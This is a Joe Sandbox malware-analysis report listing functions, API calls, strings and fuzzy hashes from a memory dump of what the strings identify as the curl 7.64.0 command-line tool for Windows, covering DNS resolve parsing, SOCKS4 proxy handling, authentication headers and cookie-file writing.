Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: sscanfstrlen
String ID: %255[^:]:%d$%s:%d$*$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!
API String ID: 2693918933-409647636
Opcode ID: ee4176ad6c8a7104006d8196150b5d2b74831da662d8ec1f721072b4e2879a3e
Instruction ID: 9131b854cdfac221e90e9b12fe666cc52923ff0c32b67d9686cd986e4b685d42
Opcode Fuzzy Hash: ee4176ad6c8a7104006d8196150b5d2b74831da662d8ec1f721072b4e2879a3e
Instruction Fuzzy Hash: BDB1F7B1904340ABEB21AB209C46B6B77A8DF45704F1C4838FC899A2C7E775D914DBB3

Function 00D1E218 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 245fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D210E0: _strdup.MSVCRT(?), ref: 00D21316

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
_strdup.MSVCRT(?), ref: 00D1A7DE
fwrite.MSVCRT ref: 00D1AA42
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
free.MSVCRT ref: 00D1E274
free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Strings

P"-, xrefs: 00D1E318
(%d) Failed writing body, xrefs: 00D1AFC9
<, xrefs: 00D1AA4A
t70, xrefs: 00D1B183
curl: (%d) %s, xrefs: 00D1AA19
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 00D1AA3D

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_strdupfclose$_closefwrite
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$curl: (%d) %s$t70
API String ID: 3760120566-2420039810
Opcode ID: 1b2b3969ed0793b0d3ed4b3447fcd9045b5f60e0b89574c7342a6584cd8fcee4
Instruction ID: ad4147f5da48577ec6b3b89d2c55785c6205b8e7a7ad24b136912b0aa50adddb
Opcode Fuzzy Hash: 1b2b3969ed0793b0d3ed4b3447fcd9045b5f60e0b89574c7342a6584cd8fcee4
Instruction Fuzzy Hash: 8D91A0F0608340AFEB209F15E945B9BB7E4AF90308F18482DF48997251DB79D988DF63

Function 00D12F90 Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 131stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D12F9A
_strdup.MSVCRT(?), ref: 00D12FA5
malloc.MSVCRT ref: 00D12FC0
strtok.MSVCRT(00000000,00FA262C), ref: 00D12FDB
strtok.MSVCRT(00000000,00FA262C), ref: 00D12FF4
strlen.MSVCRT ref: 00D13023
_mkdir.MSVCRT ref: 00D1306D
_errno.MSVCRT ref: 00D1307A
strtok.MSVCRT(00000000,00FA262C), ref: 00D1308C
free.MSVCRT ref: 00D130A0
free.MSVCRT ref: 00D130A9
_errno.MSVCRT ref: 00D130BB

Strings

Error creating directory %s., xrefs: 00D130EA
%s resides on a read-only file system., xrefs: 00D130FA
%s%s, xrefs: 00D1303C, 00D1305D
You don't have permission to create %s., xrefs: 00D130D3
Cannot create directory %s because you exceeded your quota., xrefs: 00D130E2
No space left on the file system that will contain the directory %s., xrefs: 00D130F2
The directory name %s is too long., xrefs: 00D13102

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strtok$_errnofreestrlen$_mkdir_strdupmalloc
String ID: %s resides on a read-only file system.$%s%s$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 1120732356-1086585624
Opcode ID: 0771fdcaeec19816934a39ceebde4d3297f8111b3dfc80b3f37946075d057ee5
Instruction ID: fe6072ffcb92b4943658fb54576f0ba6926f448f9ed4a88eecce8e32b0e43501
Opcode Fuzzy Hash: 0771fdcaeec19816934a39ceebde4d3297f8111b3dfc80b3f37946075d057ee5
Instruction Fuzzy Hash: 96310AF1B042007BFA116A647C46EBB369CCB5A744F180035FC4596242FA15DF84A3B3

Function 00D56CE0 Relevance: 31.8, APIs: 6, Strings: 15, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D56DBE

Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47002
Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47039

memcpy.MSVCRT(?,?,00000001), ref: 00D56EA9
strlen.MSVCRT ref: 00D56EB2
strlen.MSVCRT ref: 00D56ED1
strcpy.MSVCRT(?,?), ref: 00D56EED
strlen.MSVCRT ref: 00D56F2D

Strings

SOCKS4 reply has wrong version, version should be 4., xrefs: 00D56F90
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 00D56D44
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 00D570A2
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 00D570D2
Failed to receive SOCKS4 connect request ack., xrefs: 00D56FA5
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 00D57102
SOCKS4 communication to %s:%d, xrefs: 00D56D73
Too long SOCKS proxy name, can't use!, xrefs: 00D56DD1
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 00D5706F
SOCKS4 connection to %s not supported, xrefs: 00D56FBE
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 00D56E83
Connection time-out, xrefs: 00D56DDB
Failed to resolve "%s" for SOCKS4 connect., xrefs: 00D56FDC
Failed to send SOCKS4 connect request., xrefs: 00D56F97
SOCKS4%s request granted., xrefs: 00D57026

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$memcpystrcpy
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$Too long SOCKS proxy name, can't use!
API String ID: 2802800850-2867532396
Opcode ID: 7fadc972a3c3d72b65a5741beb9b19137d5f9f55cab7ae6118a44b7d7ef89a32
Instruction ID: 16a95c2a21c083e152a9f38f013c3b8370aa2e0693e1b4f8729850d36ef67288
Opcode Fuzzy Hash: 7fadc972a3c3d72b65a5741beb9b19137d5f9f55cab7ae6118a44b7d7ef89a32
Instruction Fuzzy Hash: DBB109A190C3916BDB219A21AC42E7B7EE9DFD2746F48086DFCC807242E125D95C97B3

Function 00D1CED8 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 176fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00D1AA42
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
free.MSVCRT ref: 00D1CEDC

Strings

P"-, xrefs: 00D1E318
(%d) Failed writing body, xrefs: 00D1AFC9
t70, xrefs: 00D1B183
Hj, xrefs: 00D1ADB6

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$_closefclosefwrite
String ID: (%d) Failed writing body$P"-$t70$Hj
API String ID: 4020199869-2496123061
Opcode ID: 8132d4fd4426f21a1df46c4566e77d9c6328435b32c2e1bdb94402202dcbc511
Instruction ID: 89c18542e0c71caffab5c76c2d45311e288736f61e25f0c7add3eda2e42f8cbc
Opcode Fuzzy Hash: 8132d4fd4426f21a1df46c4566e77d9c6328435b32c2e1bdb94402202dcbc511
Instruction Fuzzy Hash: 767180F0608340ABEB209F15ED5579BB7E0AF80308F18482DE89957251DB79D888DB63

Function 00D13A40 Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 238filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D13A51
fopen.MSVCRT ref: 00D13A68
fclose.MSVCRT ref: 00D13C98

Strings

Failed to open %s to write libcurl code!, xrefs: 00D13CA3
/**** End of sample code ****/, xrefs: 00D13C80
%s, xrefs: 00D13A8E, 00D13AA1, 00D13AB4, 00D13AC7, 00D13ADA, 00D13AED, 00D13B00, 00D13B13, 00D13B26, 00D13B39, 00D13C4C, 00D13C5F, 00D13C72, 00D13C85
return (int)ret;, xrefs: 00D13C5A
CURL *hnd;, xrefs: 00D13B34
************************************************************************/, xrefs: 00D13AC2
* https://curl.haxx.se/libcurl/c/curl_easy_setopt.html, xrefs: 00D13AAF
%s, xrefs: 00D13B62, 00D13BA2, 00D13BE1, 00D13C32
* All curl_easy_setopt() options are documented at:, xrefs: 00D13A9C
int main(int argc, char *argv[]), xrefs: 00D13AFB
#include <curl/curl.h>, xrefs: 00D13AD5
CURLcode ret;, xrefs: 00D13B21
/********* Sample code generated by the curl command line tool **********, xrefs: 00D13A89

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: %s$ CURL *hnd;$ CURLcode ret;$ return (int)ret;$ * All curl_easy_setopt() options are documented at:$ * https://curl.haxx.se/libcurl/c/curl_easy_setopt.html$ ************************************************************************/$#include <curl/curl.h>$%s$/**** End of sample code ****/$/********* Sample code generated by the curl command line tool **********$Failed to open %s to write libcurl code!$int main(int argc, char *argv[])
API String ID: 3326340520-4013719026
Opcode ID: 360dae16e0573adbfac1445c97823f3b5e0ae4ebb8035dc5088348f441b3af0f
Instruction ID: 93f295c0e855d951cc1e0796f4f6cdc85a8a755bbdcee47a96a2c81889b8536b
Opcode Fuzzy Hash: 360dae16e0573adbfac1445c97823f3b5e0ae4ebb8035dc5088348f441b3af0f
Instruction Fuzzy Hash: 445193F5B4131177EAA16A14BD83E86371C9FA2B48F080031F9447535BFAAEC75862B3

Function 00D19480 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00D21AF0: strlen.MSVCRT ref: 00D21B32

printf.MSVCRT ref: 00D1948C
printf.MSVCRT ref: 00D1949E
printf.MSVCRT ref: 00D194B6
printf.MSVCRT ref: 00D194D6
putchar.MSVCRT(0000000A), ref: 00D194E9
printf.MSVCRT ref: 00D19501
printf.MSVCRT ref: 00D1952B
putchar.MSVCRT(0000000A), ref: 00D1953A

Strings

2019-02-06, xrefs: 00D19494
b=(, xrefs: 00D19501
Release-Date: %s, xrefs: 00D19499
Features: , xrefs: 00D194FC
%s , xrefs: 00D194D1, 00D19526
Protocols: , xrefs: 00D194B1
curl 7.64.0 (i386-pc-win32) %s, xrefs: 00D19487

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: printf$putchar$strlen
String ID: %s $2019-02-06$Features: $Protocols: $Release-Date: %s$curl 7.64.0 (i386-pc-win32) %s$b=(
API String ID: 348636431-1300552597
Opcode ID: 1d7a1ba2b74df611ff04776ffd428b1cca0d37562db02ada3ac3adb8602dc060
Instruction ID: 6569bad98e55bf0a3eb5401f76c654b0c4ddaec620dd250c3d7b8760945178fa
Opcode Fuzzy Hash: 1d7a1ba2b74df611ff04776ffd428b1cca0d37562db02ada3ac3adb8602dc060
Instruction Fuzzy Hash: 5411C6F5F40700DBFE109B24ED93E55B2906F12B04F480221FC4967291E669EA44E673

Function 00D1BCD0 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 173COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1A201
fclose.MSVCRT ref: 00D1A233
free.MSVCRT ref: 00D1A24C
fclose.MSVCRT ref: 00D1AF92
free.MSVCRT ref: 00D1B116
free.MSVCRT ref: 00D1B12A
_close.MSVCRT ref: 00D1B145
free.MSVCRT ref: 00D1E274

Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2029F
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202B5
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202CB
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202E1
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D202F7
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D2030D
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20323
Part of subcall function 00D20260: strcmp.MSVCRT ref: 00D20339

free.MSVCRT ref: 00D1E305
free.MSVCRT ref: 00D1E32F
free.MSVCRT ref: 00D1E341
free.MSVCRT ref: 00D1E353

Part of subcall function 00D20260: free.MSVCRT ref: 00D204BD

Strings

CURLOPT_TRANSFER_ENCODING, xrefs: 00D1BD95
P"-, xrefs: 00D1E318
CURLOPT_ACCEPT_ENCODING, xrefs: 00D1BD61
CURLOPT_POSTREDIR, xrefs: 00D1BD2A
CURLOPT_HTTP09_ALLOWED, xrefs: 00D1BDC7
CURLOPT_HTTP_VERSION, xrefs: 00D1BCD9

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: CURLOPT_ACCEPT_ENCODING$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_POSTREDIR$CURLOPT_TRANSFER_ENCODING$P"-
API String ID: 3512857261-33808006
Opcode ID: 5915dc7ea9fc5a61348508fb44bb9981103bb7d7b38e210cd086ad11b215855f
Instruction ID: f4c9a9be8dc831ee2c12b39d7b91b516d68534dc568d76a6c735244b7a9141f4
Opcode Fuzzy Hash: 5915dc7ea9fc5a61348508fb44bb9981103bb7d7b38e210cd086ad11b215855f
Instruction Fuzzy Hash: 656193B1608301BBEB209F15EC46B9BB7E5AF90704F08492DF84997291EB75DC84DB63

Function 00D125E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

_fileno.MSVCRT ref: 00D12653
_isatty.MSVCRT ref: 00D1265C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00D12679
malloc.MSVCRT ref: 00D12689
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00D126A9
_fileno.MSVCRT ref: 00D126C4
_get_osfhandle.MSVCRT ref: 00D126CD
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00D126E0
free.MSVCRT ref: 00D126E9

Part of subcall function 00D12510: fopen.MSVCRT ref: 00D12536
Part of subcall function 00D12510: fclose.MSVCRT ref: 00D12543
Part of subcall function 00D12510: strerror.MSVCRT ref: 00D1254F

fwrite.MSVCRT ref: 00D1270A
fflush.MSVCRT ref: 00D12755
free.MSVCRT ref: 00D12766

Strings

Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file., xrefs: 00D12788

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ByteCharMultiWide_filenofree$ConsoleWrite_get_osfhandle_isattyfclosefflushfopenfwritemallocstrerror
String ID: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
API String ID: 3196308202-3734715646
Opcode ID: 98409bb30f8cd45b26e6148274e831bd5c2a18497b60295c195b9756ca7541d2
Instruction ID: c08e7b7b6d097eb6e82836b698ec0199738942e6d6b067e1c32d3a39d20969b0
Opcode Fuzzy Hash: 98409bb30f8cd45b26e6148274e831bd5c2a18497b60295c195b9756ca7541d2
Instruction Fuzzy Hash: 23411675A00300BFE7216B24FD05FA776E8EF44314F190438F848972A1EA36EDA4D7A2

Function 00D44A40 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 242stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D44C13

Strings

Authorization, xrefs: 00D44B5B
%s:%s, xrefs: 00D44BF7
Authorization:, xrefs: 00D44D35
NTLM, xrefs: 00D44B42
Negotiate, xrefs: 00D44B22
Basic, xrefs: 00D44CA7
Server, xrefs: 00D44CD5, 00D44CF9
Proxy-authorization, xrefs: 00D44B82
Proxy, xrefs: 00D44CD0
%s auth using %s with user '%s', xrefs: 00D44CFA
Proxy-, xrefs: 00D44C53
Bearer, xrefs: 00D44D79
%sAuthorization: Basic %s, xrefs: 00D44C64
Digest, xrefs: 00D44ADF
Authorization: Bearer %s, xrefs: 00D44D64

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 39653677-3980008082
Opcode ID: eeea6716437b635d7578462fa9aac91303916c5692d367fdee46ce239012bd5f
Instruction ID: a6efb340d42c9aebaba5c4439c612e8103e887b4ea46cd63e541741ea5587ac8
Opcode Fuzzy Hash: eeea6716437b635d7578462fa9aac91303916c5692d367fdee46ce239012bd5f
Instruction Fuzzy Hash: D881E070604305AFE7209F24EC85B7672E4FB81305F08843CED5986256EBB5DCA8DBB2

Function 00D4192B Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 251filestringCOMMON

Download Yara Rule

APIs

time.MSVCRT(00000000), ref: 00D41952
strcmp.MSVCRT ref: 00D41A78
fopen.MSVCRT ref: 00D41A8A
fwrite.MSVCRT ref: 00D41B02
qsort.MSVCRT ref: 00D41B9C

Strings

%s, xrefs: 00D41C74
FALSE, xrefs: 00D41C0E
#HttpOnly_, xrefs: 00D41BBB
# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00D41AFD
TRUE, xrefs: 00D41C09, 00D41C2B, 00D41C4A
unknown, xrefs: 00D41BFC
%s%s%s%s%s%s%I64d%s%s, xrefs: 00D41C5C

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fopenfwriteqsortstrcmptime
